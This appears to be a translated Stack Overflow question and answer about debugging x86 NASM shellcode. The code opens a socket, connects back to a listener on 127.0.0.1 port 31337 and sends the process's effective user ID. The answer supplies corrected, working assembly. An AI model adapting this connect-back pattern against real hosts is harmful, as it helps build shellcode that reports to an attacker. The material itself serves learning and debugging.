【问题标题】:nasm x86: send system call interpreting payload to send as NULLnasm x86:发送系统调用解释有效载荷发送为 NULL
【发布时间】:2023-03-26 20:56:01
【问题描述】:

我正在尝试编写一些 shell 代码,该代码将连接到 localhost 上端口 31337 上的侦听器,并发送程序的有效用户 ID 以用于学习目的。

为了使调试更容易,我构造了以下代码并用 nasm 组装:

BITS 32

section .data

section .bss

section .text
    global _start:

_start:

    ; s = socket(2, 1, 0)
    push BYTE 0x66 ; socketcall is syscall #102 (0x66).
    pop eax
    cdq ; Zero out edx for use as a null DWORD later.
    xor ebx, ebx ; ebx is the type of socketcall.
    inc ebx ; 1 = SYS_SOCKET = socket()
    push edx ; Build arg array: { protocol = 0,
    push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1,
    push BYTE 0x2 ; AF_INET = 2 }
    mov ecx, esp ; ecx = ptr to argument array
    int 0x80 ; After syscall, eax has socket file descriptor.
    xchg esi, eax ; Save socket FD in esi for later.

    ; connect(s, [2, 31337, <IP address>], 16)
    push BYTE 0x66 ; socketcall (syscall #102)
    pop eax
    inc ebx ; ebx = 2 (needed for AF_INET)
    push DWORD 0x0100007f ; Build sockaddr struct: IP address = 127.0.0.1
    push WORD 0x697a ; (in reverse order) PORT = 31337
    push WORD bx ; AF_INET = 2
    mov ecx, esp ; ecx = server struct pointer
    push BYTE 16 ; argv: { sizeof(server struct) = 16,
    push ecx ; server struct pointer,
    push esi ; socket file descriptor }
    mov ecx, esp ; ecx = argument array
    inc ebx ; ebx = 3 = SYS_CONNECT = connect()
    int 0x80

    ; geteuid(void)
    push BYTE 0x31 ; call for geteuid (syscall #49)
    pop eax
    int 0x80 ; eax = effective user id
    mov edi, eax ; store euid for later

    ; send(3, euid, 8, 0)
    push BYTE 0x66 ; socketcall (syscall #102)
    pop eax
    xor edx, edx ; creating zero for flags
    push edx 
    push BYTE 8 ; size of data to transmit
    push edi ; euid
    push esi ; file descriptor
    mov ebx, 9 ; ebx = 9 = SYS_SEND = send()
    mov ecx, esp ; argument array
    int 0x80

    ; exit(1)       
    push BYTE 1 ; call for exit
    pop eax
    xor ebx, ebx
    int 0x80

当我运行此代码时,成功创建了一个套接字并建立了与我在端口 31337 上侦听的服务器的连接。但是,我的用户 ID 没有发送。当我运行 strace 时,我收到以下输出:

execve("./connect_back", ["./connect_back"], [/* 18 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(31337), 
sin_addr=inet_addr("127.0.0.1")}, 16) = 0
geteuid()                               = 0
send(3, NULL, 8, 0)                     = -1 EFAULT (Bad address)
_exit(0)                                = ?
+++ exited with 0 +++

看来我的 euid 没有被用作参数。但是,当我在二进制文件上运行 gdb 时,程序似乎正确设置了发送调用的参数:

我是 nasm 新手,所以如果这是一个愚蠢的语法问题,我深表歉意。感谢您的帮助!

【问题讨论】:

  • 很好的观察和愚蠢的错误!我以 root 身份运行 strace,结果为 NULL。以低权限用户重新运行 strace 清除了 NULL,然后我的 0x3e8 出现了,但它并没有解决错误的地址问题。
  • @Hosty:当然不是,正如迈克尔所说,socketcall 将它的参数放在内存中,第二个参数是指向缓冲区的 指针,而不是缓冲区本身. (奇怪的是send(2) 手册页没有提到内核接口是一个通用的socketcall 系统调用;大多数系统调用确实提到了库/内核的差异。我之前的评论(查看 ECX 的指针)是基于误解 send 是一个普通的系统调用,带有 ebx=fd、ecx=buf 等。
  • 明白,谢谢!

标签: x86 nasm system-calls send


【解决方案1】:

TL;DR:您在 STRACE 中看到的 send 值 NULL 是因为您以 root 用户身份运行 STRACE,而在 Linux 发行版上 root 的 UID 通常为 0。在调试器中,您会看到 0x3e8,因为您以 UID=1000(即 0x3e8)的非特权用户身份运行调试器。

sys_send 需要一个指向要发送的数据的指针,而不是数据。值 0x0000 和 0x03e8 被视为内存地址,即使它们不是内存地址。这两个地址都指向我们没有读取权限的内存,因此结果是 strace 输出中的 -EFAULT(错误地址)send


您将 UID 的值传递给 send,而不是指向数据的指针。 send 采用指向数据的指针,而不是数据本身。此代码将 UID 压入堆栈,然后使用堆栈地址作为指向 UID 的指针。指向 UID 的指针用于调用 send

BITS 32

section .data

section .bss

section .text
    global _start:

_start:

    ; s = socket(2, 1, 0)
    push BYTE 0x66 ; socketcall is syscall #102 (0x66).
    pop eax
    cdq ; Zero out edx for use as a null DWORD later.
    xor ebx, ebx ; ebx is the type of socketcall.
    inc ebx ; 1 = SYS_SOCKET = socket()
    push edx ; Build arg array: { protocol = 0,
    push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1,
    push BYTE 0x2 ; AF_INET = 2 }
    mov ecx, esp ; ecx = ptr to argument array
    int 0x80 ; After syscall, eax has socket file descriptor.
    xchg esi, eax ; Save socket FD in esi for later.

    ; connect(s, [2, 31337, <IP address>], 16)
    push BYTE 0x66 ; socketcall (syscall #102)
    pop eax
    inc ebx ; ebx = 2 (needed for AF_INET)
    push DWORD 0x0100007f ; Build sockaddr struct: IP address = 127.0.0.1
    push WORD 0x697a ; (in reverse order) PORT = 31337
    push WORD bx ; AF_INET = 2
    mov ecx, esp ; ecx = server struct pointer
    push BYTE 16 ; argv: { sizeof(server struct) = 16,
    push ecx ; server struct pointer,
    push esi ; socket file descriptor }
    mov ecx, esp ; ecx = argument array
    inc ebx ; ebx = 3 = SYS_CONNECT = connect()
    int 0x80

    ; geteuid(void)
    push BYTE 0x31 ; call for geteuid (syscall #49)
    pop eax
    int 0x80 ; eax = effective user id
    push eax     ; Put EAX on the stack
    mov edi, esp ; Get the address (on stack) of the UID

    ; send(3, euid, 8, 0)
    push BYTE 0x66 ; socketcall (syscall #102)
    pop eax
    xor edx, edx ; creating zero for flags
    push edx
    push BYTE 4 ; size of data to transmit
    push edi ; euid
    push esi ; file descriptor
    mov ebx, 9 ; ebx = 9 = SYS_SEND = send()
    mov ecx, esp ; argument array
    int 0x80

    ; exit(1)
    push BYTE 1 ; call for exit
    pop eax
    xor ebx, ebx
    int 0x80

我发送 4 个字节的数据(32 位整数)而不是 8 个字节。接收方应该正好接收到包含 UID 二进制值的 4 个字节。

如果要将 UID 作为可打印字符串发送,则必须将 UID 转换为字符串并将字符串的地址传递给 send

【讨论】:

    猜你喜欢
    • 2021-04-13
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多